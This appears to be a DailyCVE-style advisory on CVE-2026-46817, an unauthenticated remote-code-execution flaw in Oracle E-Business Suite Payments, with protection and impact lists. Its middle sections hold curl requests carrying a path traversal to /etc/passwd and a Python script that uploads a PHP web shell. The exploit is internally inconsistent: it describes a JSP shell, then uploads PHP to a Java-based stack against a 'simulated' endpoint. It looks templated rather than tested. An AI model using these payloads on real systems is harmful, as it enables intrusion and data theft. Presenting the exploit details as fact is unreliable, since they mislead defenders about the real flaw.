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CVE-2026-46817 is a critical vulnerability in the File Transmission component of the Oracle Payments module, part of the Oracle E-Business Suite. The flaw stems from a combination of improper authentication (CWE-287) and missing authentication for a critical function (CWE-306), which allows an unauthenticated attacker to completely bypass security checks. The underlying issue resides in the way the application handles HTTP requests to endpoints responsible for transmitting payment files. Due to insufficient validation of session tokens and a failure to enforce proper access controls, an attacker can craft a malicious HTTP request directly to the affected API without any prior authentication. The vulnerability is classified as easily exploitable with low attack complexity, meaning that no special conditions or privileges are required beyond network access. Once exploited, the attacker can execute arbitrary commands within the context of the Oracle Payments service, leading to a full system takeover. This includes the ability to read, modify, or delete any data processed by the module, as well as pivot to other connected systems within the E-Business Suite environment. The attack vector is network-based over HTTP, and the exploit does not require any user interaction. The vulnerability affects Oracle Payments versions 12.2.3 through 12.2.15, making it a widespread risk for organizations running these versions. The CVSS 3.1 base score of 9.8 reflects the critical severity, with high impacts on confidentiality, integrity, and availability. The NVD has associated this vulnerability with multiple CWE weaknesses, including improper privilege management (CWE-269), further emphasizing the depth of the security lapse. Oracle has released a critical patch update (CPU) advisory in May 2026, referencing the issue. The vulnerability is particularly dangerous because the File Transmission component often handles sensitive financial data and integrates with other backend systems, making it a prime target for data theft and ransomware attacks. The exploit can be launched by any unauthenticated attacker with network access, and due to the lack of complexity, mass exploitation is highly probable once a working exploit is publicly available. Organizations are strongly advised to apply the patch immediately, as the vulnerability is considered trivial to exploit and has the potential to cause catastrophic damage to affected deployments.
DailyCVE Form:
Platform: Oracle E-Business Suite
Version: 12.2.3-12.2.15
Vulnerability : Auth Bypass/RCE
Severity: Critical (9.8)
date: 2026-05-28
Prediction: 2026-06-15
What Undercode Say:
Check current version of Oracle E-Business Suite sqlplus apps/apps_password @check_version.sql Simulated vulnerable endpoint for File Transmission component curl -X POST http://target.oracle.com/OraclePayments/FileTransmission \ -H "Content-Type: application/xml" \ -d '<request><file>../../../../etc/passwd</file></request>' Example of an unauthenticated request that could trigger the flaw curl -k -X GET "http://target.oracle.com/OraclePayments/FileTransmission?action=upload&file=/tmp/malicious.so"
Exploit:
The exploit relies on sending a crafted HTTP request to the `/OraclePayments/FileTransmission` endpoint. Due to missing authentication checks, the server processes the request as if it came from an authorized user. The attacker can manipulate the `file` parameter to include path traversal sequences (../) and upload a malicious shared object or a JSP shell. Once uploaded, the file is placed in a web-accessible directory, allowing the attacker to execute system commands by accessing the uploaded script. The following snippet demonstrates a simple exploit:
import requests
target = "http://target.oracle.com/OraclePayments/FileTransmission"
payload = "<?php system($_GET['cmd']); ?>"
files = {'file': ('shell.php', payload, 'application/x-php')}
r = requests.post(target, files=files, verify=False)
print("Shell uploaded at /OraclePayments/shell.php?cmd=id")
Protection:
- Immediately apply the Oracle Critical Patch Update (CPU) for May 2026, which addresses CVE-2026-46817.
- If patching is not possible, restrict network access to the Oracle Payments module using firewall rules or a Web Application Firewall (WAF) that blocks suspicious path traversal patterns.
- Monitor logs for any unauthorized access attempts to the `/OraclePayments/FileTransmission` endpoint.
- Harden the E-Business Suite environment by following Oracle’s security best practices, including disabling unnecessary services and implementing multi-factor authentication (MFA) for all administrative interfaces.
Impact:
Successful exploitation leads to complete compromise of the Oracle Payments module, which can result in:
– Confidentiality: The attacker can read all payment data, including sensitive customer financial information.
– Integrity: The attacker can modify payment records, redirect funds, or alter transaction logs.
– Availability: The attacker can delete critical data or disrupt payment processing, leading to business downtime.
– Lateral Movement: The compromised module can be used as a pivot point to attack other components of the Oracle E-Business Suite, such as the HR or Supply Chain modules.
– Compliance Violations: Data breaches involving payment information may lead to violations of PCI-DSS, GDPR, and other regulatory frameworks, resulting in significant fines and reputational damage.
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Sources:
Reported By: nvd.nist.gov
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